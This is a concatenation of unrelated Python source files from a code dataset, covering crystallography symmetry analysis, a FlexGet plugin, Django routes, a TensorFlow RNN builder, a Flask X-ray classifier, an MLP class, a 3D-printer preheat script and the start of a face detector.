the clustering'\n log = False\n .type = bool\n .help = 'Display the dendrogram with a log scale'\n}\n\ninclude scope dials.algorithms.symmetry.cosym.phil_scope\n\nseed = 230\n .type = int(value_min=0)\n\noutput {\n suffix = \"_reindexed\"\n .type = str\n log = dials.cosym.log\n .type = str\n debug_log = dials.cosym.debug.log\n .type = str\n experiments = \"reindexed_experiments.json\"\n .type = path\n reflections = \"reindexed_reflections.pickle\"\n .type = path\n}\n\nverbosity = 1\n .type = int(value_min=0)\n .help = \"The verbosity level\"\n''', process_includes=True)\n\n\nclass cosym(object):\n def __init__(self, experiments, reflections, params=None):\n if params is None:\n params = phil_scope.extract()\n self._params = params\n\n # map experiments and reflections to primitive setting\n experiments, reflections = self._map_to_primitive(\n experiments, reflections)\n\n # perform unit cell clustering\n identifiers = self._unit_cell_clustering(experiments)\n if len(identifiers) < len(experiments):\n logger.info(\n 'Selecting subset of %i datasets for cosym analysis: %s' % (\n len(identifiers), str(identifiers)))\n experiments, reflections = select_datasets_on_ids(\n experiments, reflections, use_datasets=identifiers)\n\n experiments, reflections = self._map_to_minimum_cell(\n experiments, reflections)\n\n # transform models into miller arrays\n datasets = self._miller_arrays_from_experiments_reflections(\n experiments, reflections)\n\n result = analyse_datasets(datasets, params)\n\n space_groups = {}\n reindexing_ops = {}\n for dataset_id in result.reindexing_ops.iterkeys():\n if 0 in result.reindexing_ops[dataset_id]:\n cb_op = result.reindexing_ops[dataset_id][0]\n reindexing_ops.setdefault(cb_op, [])\n reindexing_ops[cb_op].append(dataset_id)\n if dataset_id in result.space_groups:\n space_groups.setdefault(result.space_groups[dataset_id], [])\n space_groups[result.space_groups[dataset_id]].append(dataset_id)\n\n logger.info('Space groups:')\n for sg, datasets in space_groups.iteritems():\n logger.info(str(sg.info().reference_setting()))\n logger.info(datasets)\n\n logger.info('Reindexing operators:')\n for cb_op, datasets in reindexing_ops.iteritems():\n logger.info(cb_op)\n logger.info(datasets)\n\n self._export_experiments_reflections(experiments, reflections, reindexing_ops)\n\n def _export_experiments_reflections(self, experiments, reflections,\n reindexing_ops):\n reindexed_reflections = flex.reflection_table()\n for cb_op, dataset_ids in reindexing_ops.iteritems():\n cb_op = sgtbx.change_of_basis_op(cb_op)\n for dataset_id in dataset_ids:\n expt = experiments[dataset_id]\n refl = reflections[dataset_id]\n refl_reindexed = copy.deepcopy(refl)\n expt.crystal = expt.crystal.change_basis(cb_op)\n refl_reindexed['miller_index'] = cb_op.apply(\n refl_reindexed['miller_index'])\n reindexed_reflections.extend(refl_reindexed)\n\n reindexed_reflections.reset_ids()\n logger.info(\n 'Saving reindexed experiments to %s' % self._params.output.experiments)\n dump.experiment_list(experiments, self._params.output.experiments)\n logger.info(\n 'Saving reindexed reflections to %s' % self._params.output.reflections)\n reindexed_reflections.as_pickle(self._params.output.reflections)\n\n def _miller_arrays_from_experiments_reflections(self, experiments, reflections):\n miller_arrays = []\n\n for expt, refl in zip(experiments, reflections):\n crystal_symmetry = crystal.symmetry(\n unit_cell=expt.crystal.get_unit_cell(),\n space_group=expt.crystal.get_space_group())\n\n from dials.util.filter_reflections import filter_reflection_table\n if 'intensity.scale.value' in refl:\n intensity_choice = ['scale']\n intensity_to_use = 'scale'\n else:\n assert 'intensity.sum.value' in refl\n intensity_choice = ['sum']\n if 'intensity.prf.value' in refl:\n intensity_choice.append('profile')\n intensity_to_use = 'prf'\n else:\n intensity_to_use = 'sum'\n\n refl = filter_reflection_table(refl, intensity_choice, min_isigi=-5,\n filter_ice_rings=False, combine_partials=True,\n partiality_threshold=self._params.partiality_threshold)\n assert refl.size() > 0\n data = refl['intensity.'+intensity_to_use+'.value']\n variances = refl['intensity.'+intensity_to_use+'.variance']\n\n miller_indices = refl['miller_index']\n assert variances.all_gt(0)\n sigmas = flex.sqrt(variances)\n\n miller_set = miller.set(crystal_symmetry, miller_indices, anomalous_flag=False)\n intensities = miller.array(miller_set, data=data, sigmas=sigmas)\n intensities.set_observation_type_xray_intensity()\n intensities.set_info(miller.array_info(\n source='DIALS',\n source_type='pickle'\n ))\n miller_arrays.append(intensities)\n\n return miller_arrays\n\n def _map_to_primitive(self, experiments, reflections):\n identifiers = []\n\n for expt, refl in zip(experiments, reflections):\n cb_op_to_primitive = expt.crystal.get_crystal_symmetry() \\\n .change_of_basis_op_to_primitive_setting()\n expt.crystal = expt.crystal.change_basis(cb_op_to_primitive)\n sel = expt.crystal.get_space_group().is_sys_absent(refl['miller_index'])\n if sel.count(True):\n logger.info('Elminating %i systematic absences for experiment %s' % (\n sel.count(True), expt.identifier))\n refl = refl.select(sel)\n refl['miller_index'] = cb_op_to_primitive.apply(refl['miller_index'])\n\n if self._params.space_group is not None:\n space_group_info = self._params.space_group.primitive_setting()\n if not space_group_info.group().is_compatible_unit_cell(intensities.unit_cell()):\n logger.info(\n 'Skipping data set - incompatible space group and unit cell: %s, %s' %(\n space_group_info, intensities.unit_cell()))\n continue\n else:\n expt.crystal.set_space_group(sgtbx.space_group())\n identifiers.append(expt.identifier)\n\n return select_datasets_on_ids(\n experiments, reflections, use_datasets=identifiers)\n\n def _map_to_minimum_cell(self, experiments, reflections):\n cb_op_ref_min = experiments[0].crystal.get_crystal_symmetry() \\\n .change_of_basis_op_to_niggli_cell()\n for expt, refl in zip(experiments, reflections):\n expt.crystal = expt.crystal.change_basis(cb_op_ref_min)\n refl['miller_index'] = cb_op_ref_min.apply(refl['miller_index'])\n\n if self._params.space_group is not None:\n expt.crystal.set_space_group(\n self._params.space_group.primitive_setting().group())\n else:\n expt.crystal.set_space_group(sgtbx.space_group())\n return experiments, reflections\n\n def _unit_cell_clustering(self, experiments):\n crystal_symmetries = [\n expt.crystal.get_crystal_symmetry() for expt in experiments]\n lattice_ids = experiments.identifiers()\n from xfel.clustering.cluster import Cluster\n from xfel.clustering.cluster_groups import unit_cell_info\n ucs = Cluster.from_crystal_symmetries(crystal_symmetries, lattice_ids=lattice_ids)\n if self._params.save_plot:\n from matplotlib import pyplot as plt\n fig = plt.figure(\"Andrews-Bernstein distance dendogram\", figsize=(12, 8))\n ax = plt.gca()\n else:\n ax = None\n clusters, _ = ucs.ab_cluster(\n self._params.unit_cell_clustering.threshold,\n log=self._params.unit_cell_clustering.log,\n write_file_lists=False,\n schnell=False,\n doplot=self._params.save_plot,\n ax=ax\n )\n if self._params.save_plot:\n plt.tight_layout()\n plt.savefig('%scluster_unit_cell.png' % self._params.plot_prefix)\n plt.close(fig)\n logger.info(unit_cell_info(clusters))\n largest_cluster = None\n largest_cluster_lattice_ids = None\n for cluster in clusters:\n cluster_lattice_ids = [m.lattice_id for m in cluster.members]\n if largest_cluster_lattice_ids is None:\n largest_cluster_lattice_ids = cluster_lattice_ids\n elif len(cluster_lattice_ids) > len(largest_cluster_lattice_ids):\n largest_cluster_lattice_ids = cluster_lattice_ids\n\n dataset_selection = largest_cluster_lattice_ids\n return dataset_selection\n\n\nhelp_message = '''\nThis program implements the methods of `Gildea, R. J. & Winter, G. (2018).\nActa Cryst. D74, 405-410 `_ for\ndetermination of Patterson group symmetry from sparse multi-crystal data sets in\nthe presence of an indexing ambiguity.\n\nThe program takes as input a set of integrated experiments and reflections,\neither in one file per experiment, or with all experiments combined in a single\nexperiments.json and reflections.pickle file. It will perform analysis of the\nsymmetry elements present in the datasets and, if necessary, reindex experiments\nand reflections as necessary to ensure that all output experiments and\nreflections are indexed consistently.\n\nExamples::\n\n dials.cosym experiments.json reflections.pickle\n\n dials.cosym experiments.json reflections.pickle space_group=I23\n\n dials.cosym experiments.json reflections.pickle space_group=I23 lattice_group=I23\n\n'''\n\n\ndef run(args):\n from dials.util import log\n from dials.util.options import OptionParser\n usage = \"dials.cosym [options] experiments.json reflections.pickle\"\n\n parser = OptionParser(\n usage=usage,\n phil=phil_scope,\n read_reflections=True,\n read_datablocks=False,\n read_experiments=True,\n check_format=False,\n epilog=help_message\n )\n\n params, options, args = parser.parse_args(\n args=args, show_diff_phil=False, return_unhandled=True)\n\n # Configure the logging\n log.config(\n params.verbosity,\n info=params.output.log,\n debug=params.output.debug_log)\n\n from dials.util.version import dials_version\n logger.info(dials_version())\n\n # Log the diff phil\n diff_phil = parser.diff_phil.as_str()\n if diff_phil is not '':\n logger.info('The following parameters have been modified:\\n')\n logger.info(diff_phil)\n\n if params.seed is not None:\n import random\n flex.set_random_seed(params.seed)\n random.seed(params.seed)\n\n if params.save_plot:\n import matplotlib\n # http://matplotlib.org/faq/howto_faq.html#generate-images-without-having-a-window-appear\n matplotlib.use('Agg') # use a non-interactive backend\n\n experiments = flatten_experiments(params.input.experiments)\n reflections = flatten_reflections(params.input.reflections)\n reflections = parse_multiple_datasets(reflections)\n experiments, reflections = assign_unique_identifiers(\n experiments, reflections)\n\n cosym(experiments=experiments, reflections=reflections, params=params)\n\n\nif __name__ == '__main__':\n import sys\n run(sys.argv[1:])\n","sub_path":"command_line/cosym.py","file_name":"cosym.py","file_ext":"py","file_size_in_byte":11844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"549998024","text":"from __future__ import unicode_literals, division, absolute_import\nimport logging\nfrom flexget.utils import qualities\nfrom flexget.plugin import register_plugin, get_plugin_by_name, DependencyError\n\ntry:\n from flexget.plugins.filter.movie_queue import queue_add, QueueError\nexcept ImportError:\n raise DependencyError(issued_by='queue_movies', missing='movie_queue')\n\nlog = logging.getLogger('queue_movies')\n\n\nclass QueueMovies(object):\n \"\"\"Adds all accepted entries to your movie queue.\"\"\"\n\n def validator(self):\n from flexget import validator\n root = validator.factory()\n root.accept('boolean')\n opts = root.accept('dict')\n opts.accept('quality_requirements', key='quality')\n opts.accept('boolean', key='force')\n return root\n\n def on_task_output(self, task, config):\n if not config:\n return\n if not isinstance(config, dict):\n config = {}\n for entry in task.accepted:\n # Tell tmdb_lookup to add lazy lookup fields if not already present\n try:\n get_plugin_by_name('tmdb_lookup').instance.lookup(entry)\n except DependencyError:\n log.debug('tmdb_lookup is not available, queue will not work if movie ids are not populated')\n # Find one or both movie id's for this entry. See if an id is already populated before incurring lazy lookup\n kwargs = {}\n for lazy in [False, True]:\n if entry.get('imdb_id', eval_lazy=lazy):\n kwargs['imdb_id'] = entry['imdb_id']\n if entry.get('tmdb_id', eval_lazy=lazy):\n kwargs['tmdb_id'] = entry['tmdb_id']\n if kwargs:\n break\n if not kwargs:\n log.warning('Could not determine a movie id for %s, it will not be added to queue.' % entry['title'])\n continue\n\n # since entries usually have unknown quality we need to ignore that ..\n if entry.get('quality'):\n quality = qualities.Requirements(entry['quality'].name)\n else:\n quality = qualities.Requirements(config.get('quality', 'any'))\n\n kwargs['quality'] = quality\n force = entry.get('force', config.get('force'))\n if force is not None:\n kwargs['force'] = force\n # Provide movie title if it is already available, to avoid movie_queue doing a lookup\n kwargs['title'] = entry.get('imdb_name') or entry.get('tmdb_name') or entry.get('movie_name')\n log.debug('queueing kwargs: %s' % kwargs)\n try:\n queue_add(**kwargs)\n except QueueError as e:\n entry.fail('Error adding movie to queue: %s' % e.message)\n\n\nregister_plugin(QueueMovies, 'queue_movies', api_ver=2)\n","sub_path":"flexget/plugins/output/queue_movies.py","file_name":"queue_movies.py","file_ext":"py","file_size_in_byte":2870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"14509892","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n\n\t# vocabuilder/ or vocabuilder/study\n\tpath('', views.tostudy, name='tostudy'),\n\tpath('study/', views.study, name='study'),\n\n\t# vocabuilder/study/learn/\n\tpath('learn/', views.learn, name='learn'),\n]","sub_path":"study/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"602240510","text":"import fileinput\nimport math\n\nfile = fileinput.input()\n\nfor line in file:\n cur = line.strip().split()\n if cur[0] == '0':\n if cur[1] == '0':\n if cur[2] == '0':\n exit()\n\n Area_Real = math.pi*(float(cur[0]))**2\n size = int(cur[2]) / int(cur[1])\n square = (2*float(cur[0]))*(2*float(cur[0]))\n size_est = size*square\n print(round(Area_Real, 9), round(size_est, 9))\n # print(\"{:.9f}\".format(Area_Real), \"{:.9f}\".format(size_est))\n","sub_path":"EstimatingCircle.py","file_name":"EstimatingCircle.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"499270505","text":"import tensorflow as tf\n\n# from yeahml.build.layers.dense import build_dense_layer\n\n\n# def get_recurrent_cell(opts: dict, logger, g_logger):\n# # TODO: add dtype, add activation\n# try:\n# CELL_TYPE: str = opts[\"cell_type\"].lower()\n# except KeyError:\n# CELL_TYPE = \"lstm\"\n# logger.debug(\"cell_type set: {}\".format(CELL_TYPE))\n\n# try:\n# NUM_RNN_NEURONS: int = opts[\"num_neurons\"]\n# except KeyError:\n# NUM_RNN_NEURONS = 3\n# logger.debug(\"num_neurons set: {}\".format(NUM_RNN_NEURONS))\n\n# RETURN_CELL = None\n# if CELL_TYPE == \"lstm\":\n# # TODO: There are many othe options that could be implemented\n# # > https://www.tensorflow.org/api_docs/python/tf/nn/rnn_cell/LSTMCell\n# try:\n# USE_PEEPHOLES: bool = opts[\"use_peepholes\"]\n# except KeyError:\n# USE_PEEPHOLES = False\n# logger.debug(\"use_peepholes set: {}\".format(USE_PEEPHOLES))\n\n# RETURN_CELL = tf.nn.rnn_cell.LSTMCell(\n# num_units=NUM_RNN_NEURONS, use_peepholes=USE_PEEPHOLES\n# )\n# elif CELL_TYPE == \"gru\":\n# RETURN_CELL = tf.nn.rnn_cell.GRUCell(num_units=NUM_RNN_NEURONS)\n# elif CELL_TYPE == \"basic\":\n# RETURN_CELL = tf.nn.rnn_cell.BasicRNNCell(num_units=NUM_RNN_NEURONS)\n# else:\n# sys.exit(\"cell type ({}) not allowed\".format(CELL_TYPE))\n\n# try:\n# KEEP_PROB: float = opts[\"keep_prob\"]\n# except KeyError:\n# KEEP_PROB = 1.0\n# logger.debug(\"keep_prob set: {}\".format(KEEP_PROB))\n\n# if KEEP_PROB < 1.0:\n# # TODO: allow for different types of dropout here\n# RETURN_CELL = tf.nn.rnn_cell.DropoutWrapper(\n# RETURN_CELL, input_keep_prob=KEEP_PROB\n# )\n# g_logger.info(\n# \">> dropout: {} (1 - keep_prob({}))\".format(1 - KEEP_PROB, KEEP_PROB)\n# )\n\n# return RETURN_CELL\n\n\ndef build_cell_layer(opts: dict, activation, logger, g_logger):\n # TODO: add dtype, add activation\n try:\n CELL_TYPE: str = opts[\"cell_type\"].lower()\n except KeyError:\n CELL_TYPE = \"lstm\"\n logger.debug(f\"cell_type set: {CELL_TYPE}\")\n\n try:\n NUM_RNN_NEURONS: int = opts[\"num_neurons\"]\n except KeyError:\n NUM_RNN_NEURONS = 3\n logger.debug(f\"num_neurons set: {NUM_RNN_NEURONS}\")\n\n # TODO: cell type\n # TODO: params\n # if CELL_TYPE == \"lstm\":\n out = tf.keras.layers.LSTM(\n NUM_RNN_NEURONS,\n activation=actfn,\n recurrent_activation=\"sigmoid\",\n use_bias=True,\n kernel_initializer=\"glorot_uniform\",\n recurrent_initializer=\"orthogonal\",\n bias_initializer=\"zeros\",\n unit_forget_bias=True,\n kernel_regularizer=None,\n recurrent_regularizer=None,\n bias_regularizer=None,\n activity_regularizer=None,\n kernel_constraint=None,\n recurrent_constraint=None,\n bias_constraint=None,\n dropout=0.0,\n recurrent_dropout=0.0,\n implementation=1,\n return_sequences=False,\n return_state=False,\n go_backwards=False,\n stateful=False,\n time_major=False,\n unroll=False,\n )\n\n return out\n\n\ndef build_recurrent_layer(opts: dict, activation, name: str, logger, g_logger):\n\n # Check the current input and whether a dim needs to be added\n # e.g. (None, 256) -> (None, 256, 1)\n # NOTE: not sure if get_shape() or .shape is better\n REMOVE_DIM: bool = False\n # cur_input_rank = len(cur_input.get_shape())\n\n # if cur_input_rank < 3:\n # # possibly need to add a dim (will need to then remove at the end)\n # if cur_input.get_shape()[-1] > 1:\n # logger.debug(\n # \"cur_input shape: ({}) in `build_recurrent_layer`\".format(\n # cur_input.get_shape()\n # )\n # )\n # cur_input = tf.expand_dims(cur_input, -1)\n # logger.debug(\n # \"cur_input reshaped: ({}) in `build_recurrent_layer`\".format(\n # cur_input.get_shape()\n # )\n # )\n # REMOVE_DIM = True\n # else:\n # sys.exit(\n # \"The current input is shape: ({}) and is required to be rank > 3\".format(\n # cur_input.get_shape()\n # )\n # )\n # # this would mean the input is (NONE, 1)... and would need to become\n # # (None, 1, 1) and I'm not sure this is the case, especially when\n # # dealing with an RNN\n\n try:\n NUM_LAYERS: int = opts[\"num_layers\"]\n except KeyError:\n NUM_LAYERS = 1\n logger.debug(f\"num_layers set: {NUM_LAYERS}\")\n\n try:\n BIDIRECTIONAL: bool = opts[\"bidirectional\"]\n except KeyError:\n BIDIRECTIONAL = False\n logger.debug(f\"bidirectional set: {BIDIRECTIONAL}\")\n\n # try:\n # DENSE_OPTS_DICT: dict = opts[\"condense_out\"]\n # except KeyError:\n # DENSE_OPTS_DICT = None\n # logger.debug(\"condense out: {}\".format(DENSE_OPTS_DICT))\n\n for layer_num in range(1, NUM_LAYERS + 1):\n out = build_cell_layer(opts, actfn, logger, g_logger)\n\n if BIDIRECTIONAL:\n merge_mode = None # TODO: include (concat, ave, sum, mul)\n out = tf.keras.layers.Bidirectional(out, merge_mode=merge_mode)\n\n logger.debug(f\"tensor obj: {out}\")\n logger.debug(f\"[End] building: {name}\")\n\n # if DENSE_OPTS_DICT:\n # out = build_dense_layer(\n # out, training, DENSE_OPTS_DICT, None, \"rnn_condense\", logger, g_logger\n # )\n\n # logger.debug(\n # \"out in output shape: ({}) in `build_recurrent_layer`\".format(out.get_shape())\n # )\n\n # if REMOVE_DIM:\n # out = tf.squeeze(out, -1)\n # logger.debug(\n # \"out reshaped to final output shape: ({}) in `build_recurrent_layer`\".format(\n # out.get_shape()\n # )\n # )\n # g_logger.info(\"{}\".format(fmt_tensor_info(out)))\n\n return out\n","sub_path":"src/yeahml/build/layers/recurrent.py","file_name":"recurrent.py","file_ext":"py","file_size_in_byte":5983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"498782651","text":"import os\nimport io\nimport cv2\nimport numpy as np\nfrom flask import Flask, request, render_template, jsonify\nimport urllib\nimport tensorflow as tf\nimport json\n\nfrom paths import *\nfrom zoo import *\nfrom ensemble import *\n\napplication = Flask(__name__, static_url_path='')\n\nUPLOAD_FOLDER = os.path.basename('uploads')\n\napplication.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\nmodels = None\ngraph = tf.get_default_graph()\n\n\ndef load_model():\n global models\n print(\"Loading the models...\")\n models = individual_models()\n print(\"Models Loaded!\")\n return None\n\n\ndef preprocess_image(cnn, image):\n input_size = get_input_shape(cnn)\n image = cv2.resize(image, input_size, cv2.INTER_LANCZOS4)\n image = np.reshape(image, (-1, input_size[0], input_size[1], 3))\n image = preprocess_input_overall(cnn, image)\n\n return image\n\n\ndef url_to_image(url):\n requested_url = urllib.urlopen(url)\n image_array = np.asarray(bytearray(requested_url.read()), dtype=np.uint8)\n img = cv2.imdecode(image_array, -1)\n return img\n\n\nthres = 0.163\nindexes = ['Atelectasis', 'Cardiomegaly', 'Consolidation', 'Edema', 'Effusion', 'Emphysema', 'Fibrosis',\n 'Hernia', 'Infiltration', 'Mass', 'No Finding', 'Nodule', 'Pleural_Thickening', 'Pneumonia', 'Pneumothorax']\n\n\ndef predict(image):\n preds = []\n for i in range(len(paths.models)):\n model = models[i]\n cnn = paths.models[i]\n img = image\n img = preprocess_image(cnn, image)\n\n with graph.as_default():\n prediction = model.predict(img)\n\n preds.append(prediction)\n\n full_pred = np.mean(preds, axis=0)\n return full_pred\n\n\n@application.route(\"/\", methods=['GET'])\ndef root():\n return render_template('index.html')\n\n\n@application.route(\"/classify\", methods=['GET', 'POST'])\ndef classify():\n file = request.files['image']\n imf = io.BytesIO()\n file.save(imf)\n data = np.fromstring(imf.getvalue(), dtype=np.uint8)\n image = cv2.imdecode(data, 1)\n\n full_pred = predict(image)[0]\n a = full_pred\n print(a)\n pred = full_pred\n pred[pred > thres] = 1\n pred[pred <= thres] = 0\n print(pred)\n resp = []\n for val in range(0, len(pred)):\n if pred[val] == 1:\n resp.append(indexes[val])\n\n resp = {'results': resp}\n\n response = json.dumps(resp, sort_keys=False,\n indent=4, separators=(',', ': '))\n\n return render_template('classify.html', response=response)\n\n\nif __name__ == '__main__':\n load_model()\n print(\"Wait for the Model to load before running the web application\")\n application.run(host='0.0.0.0')\n","sub_path":"chestxray_app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"211761346","text":"import requests\nimport os\nimport sys\nimport json\n\ndef getOctopiKey() -> str:\n keys = []\n with open('/home/pi/RPi-EdgeMicroserver/3D-Printer-Control-Hub/security/keys.txt') as f:\n keys = f.readlines()\n f.close()\n return keys[0]\n\n'''\npreheatExtruder():\n Calls the Octoprint API from the EMS and\n is used to interface with custom Thingworx\n services\n'''\ndef preheatExtruder(temperature:int) -> bool:\n\n key = getOctopiKey()\n\n # Safety check so that the temperature is\n # not overloaded \n if temperature > 220:\n temperature = 0\n\n\n # URL Componnents\n base = \"http://octopi.local\"\n url = \"/api/printer/tool\"\n\n # Defining the headers \n headers = {\n 'X-Api-Key': key.strip('\\n'),\n 'Content-Type': \"application/json\"\n }\n\n # Defining the payload\n payload = {\n \"command\": \"target\",\n \"targets\": {\n \"tool0\" : temperature\n }\n }\n\n # Defining request parameters\n params = {}\n\n # Calling the tool temp endpoint\n try:\n response = requests.request(\"POST\",\n base+url,\n params=params,\n headers=headers,\n data=json.dumps(payload))\n return True\n except:\n return False\n \n#-----------------------------------------------------------------\n\ntargetTemp = sys.argv[1]\n\npreheatExtruder(int(targetTemp))\n","sub_path":"3D-Printer-Control-Hub/scripts/preheatExtruder.py","file_name":"preheatExtruder.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"16065684","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 1 14:41:27 2017\n\n@author: Lisa Tostrams\nClass for building a MultiLayer Perceptron with one hidden layer, that mimimizes an objective function\n\nBasic call for the xor data:\n import scipy.io\n mat = scipy.io.loadmat('Data/xor.mat')\n X = mat['X']\n y = mat['y']\n perc = MLP(X,y)\n w1,w2,c = perc.learn_weights(nhidden=2)\n perc.plot_boundaries(w1,w2,X)\n\n\"\"\"\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nclass MLP:\n def __init__(self, X,y,binary=True):\n \"\"\"MLP(X,y), builds 3 layer MLP on data X using labels y, minimizing the error function:\n MSE(X,y,W) = 1/N * sum_i s(W_o*s(W_h*X_i)) - y)^2\n by moving along the gradient \n optional argument:\n binary -> whether or not output should be binary instead of continuous\"\"\"\n # add bias term\n self.X = X.T\n self.X = np.vstack([np.ones([1,self.X.shape[1]]),self.X])\n self.y=y.T\n self.binary=binary\n self.b = 0.5 #initialise decision boundary\n \n def sigmoid(self,x):\n \"\"\" Sigmoid(x), returns value and gradient; only implemented sigmoid activation due to convenient grad\"\"\"\n s = 1.0 / (1 + np.exp(-x))\n grad_s = s * (1 - s)\n return s, grad_s\n \n def class_error(self,y,y_hat):\n \"\"\" class_error(y,y_hat), returns the misclassification rate using output y_hat to label data points compared to y \"\"\"\n return 1-np.mean((y==y_hat).flatten())\n \n def forwardprop(self,W_h, W_o,**kwargs):\n \"\"\"forwardprop(Wh,Wo,X), forward propagation of the data through hidden layer (W_h) and output layer (W_o)\n optional input:\n X -> when an instance of X is given, add bias terms and feed it through\n else:\n h -> output of hidden units\n o -> output of output units\n grad_h -> gradient of the hidden units wrt weights \n grad_o -> gradient of the output units wrt weights \n y_hat -> output of network, when labels are not binary y_hat == o\n \"\"\"\n if('X' in kwargs.keys()):\n tmp = kwargs['X']\n tmp = tmp.T\n X = np.vstack([np.ones([1,tmp.shape[1]]),tmp])\n else:\n X = self.X \n activation_h = np.dot(W_h, X)\n h, grad_h = self.sigmoid(activation_h) \n activation_o = np.dot(W_o, h) \n o, grad_o = self.sigmoid(activation_o)\n y_hat = o\n if(self.binary):\n y_hat = o > self.b\n return h, o, grad_h, grad_o, y_hat\n \n def backprop(self,h,o, grad_h, grad_o,W_o,X):\n \"\"\" backprop(h,o,grad_h,grad_o,W_o,X), propagates error of output o compared to labels y back through layers,\n computes gradient in objective function MSE(X,y,W) wrt weights in both layers\n output:\n grad_E_h -> gradient of MSE(X,y,W) wrt W_h\n grad_E_o -> gradient of MSE(X,y,W) wrt W_o \"\"\"\n error_output = (o - self.y) * grad_o \n error_hidden = grad_h *(np.dot(W_o.T, error_output))\n grad_E_o = np.dot(error_output, h.T) \n grad_E_h = np.dot(error_hidden, X.T)\n return grad_E_h, grad_E_o\n \n def learn_weights(self,nhidden=1,nepochs=8000,eta=0.1,verbose=True):\n \"\"\" learn_weights(), learns the weights in each layer\n optional arguments:\n nhidden -> number of units in hidden layer\n nepochs -> number of learning steps\n eta -> learning rate \n verbose -> whether to print progress\n \"\"\" \n ninput = self.X.shape[0]\n noutput = self.y.shape[0] \n W_h = np.random.uniform(0, 1, [nhidden,ninput])\n W_h[:,0]*=-1\n W_o = np.random.uniform(-1, 1, [noutput,nhidden])\n for epoch in xrange(0,nepochs):\n \"\"\" Forward propagation step: compute the activations and the activiation gradients wrt the weights\n \"\"\"\n h,o,grad_h,grad_o,y_hat = self.forwardprop(W_h, W_o)\n self.b = np.mean(o) #seperate output into 2 classes \n \n \"\"\" Backward propagation step: use the activation gradients to figure \n out in which directions the error gradients points wrt the weights\n \"\"\"\n grad_E_h, grad_E_o = self.backprop(h, o, grad_h, grad_o,W_o,self.X)\n if(epoch%500==0 and verbose):\n print('Iteration: {} / {} ; misclassication rate: {:.4f}'.format(epoch,nepochs,self.class_error(self.y,y_hat))) \n \n \n \"\"\" Update the weights\n \"\"\"\n W_h = W_h - eta * grad_E_h \n W_o = W_o - eta * grad_E_o\n\n y_hat=self.forwardprop(W_h, W_o)[4] \n self.b = np.mean(o)\n error = self.class_error(self.y,y_hat)\n if(verbose):\n print('Final misclassification rate: {:.4f}'.format(error))\n return W_h,W_o,error\n \n \n def plot_boundaries(self,W1,W2,Data):\n \"\"\" plot_boundries(Wh,Wo,X), plots the decision boundaries of the MLP with weights Wh and Wo and where data X is placed\n kind of a weird function to have user input instead of using internal variables\n but want to leave something to do for users\"\"\"\n y_hat = self.forwardprop(W1,W2,X=Data)[4]\n x0 = np.arange(min(self.X[1,:])-0.2, max(self.X[1,:])+0.2, 0.1)\n x1 = np.arange(min(self.X[2,:])-0.2, max(self.X[2,:])+0.2, 0.1)\n xx, yy = np.meshgrid(x0, x1, sparse=False)\n space = np.asarray([xx.flatten(),yy.flatten()]).T\n z = self.forwardprop(W1,W2,X=space)[1]\n tmp = Data.T\n plt.scatter(tmp[0,y_hat.flatten()],tmp[1,y_hat.flatten()],label='1')\n plt.scatter(tmp[0,(y_hat==False).flatten()],tmp[1,(y_hat==False).flatten()],label='0')\n h = plt.contourf(x0,x1,np.reshape(z,[len(x0),len(x0)]),levels=[0,self.b,1],colors=('orange','b'), alpha=0.1)\n plt.title('Decision boundaries resulting from given weights')\n plt.legend()\n plt.show()","sub_path":"Assignment_6/mlp.py","file_name":"mlp.py","file_ext":"py","file_size_in_byte":6126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"184274783","text":"#!/usr/bin/python\n\nimport argparse\nimport os\n\nos.system('clear')\n\n'''\nRUN-TIME COMPLEXITY: O(n)\n\nJustification: \n The first loop runs N-1 times. \n Drop the constant and you get O(n).\n The second loop runs N-k times, where k is the sell index.\n In a worst case scenario, k is the last index of the array\n leaving us with N-1 again.\n Drop the constant and you O(n).\n Adding the two constants together you get\n O(n + n) or O(2n)\n Drop the constants one last time and you get O(n)\n\n'''\n\n\ndef find_max_profit(prices):\n sell = 0\n largest = prices[1]\n # find the largest price in the list --> set the index to sell\n # beginning at one as their has to be one buy available before\n # sell\n for i in range(1, len(prices)):\n if prices[i] >= largest:\n largest = prices[i]\n sell = i\n\n buy = 0\n smallest = prices[0]\n # find the lowest price in the list *up to sell* and set that to buy\n for j in range(0, sell):\n if prices[j] <= smallest:\n smallest = prices[j]\n buy = j\n # return the difference\n return prices[sell] - prices[buy]\n\n\nif __name__ == '__main__':\n # This is just some code to accept inputs from the command line\n parser = argparse.ArgumentParser(\n description='Find max profit from prices.')\n parser.add_argument('integers', metavar='N', type=int,\n nargs='+', help='an integer price')\n args = parser.parse_args()\n\n print(\"A profit of ${profit} can be made from the stock prices {prices}.\".format(\n profit=find_max_profit(args.integers), prices=args.integers))\n","sub_path":"stock_prices/stock_prices.py","file_name":"stock_prices.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"182963437","text":"# -*- coding: utf-8 -*-\n\nimport cv2\nimport numpy as np\n\nimport detlib_onnx.detector.utils as utils\nimport onnxruntime\n\n\nclass DetectFace(object):\n ''' P,R,O net face detection and landmarks align '''\n\n def __init__(self, pnet=None, rnet=None, onet=None, min_face=40):\n self.min_face_size = min_face # default=12\n self.stride = 2\n self.thresh = [0.7, 0.7, 0.85]\n self.iou_thresh = [0.7, 0.7, 0.7]\n self.scale_factor = 0.709\n 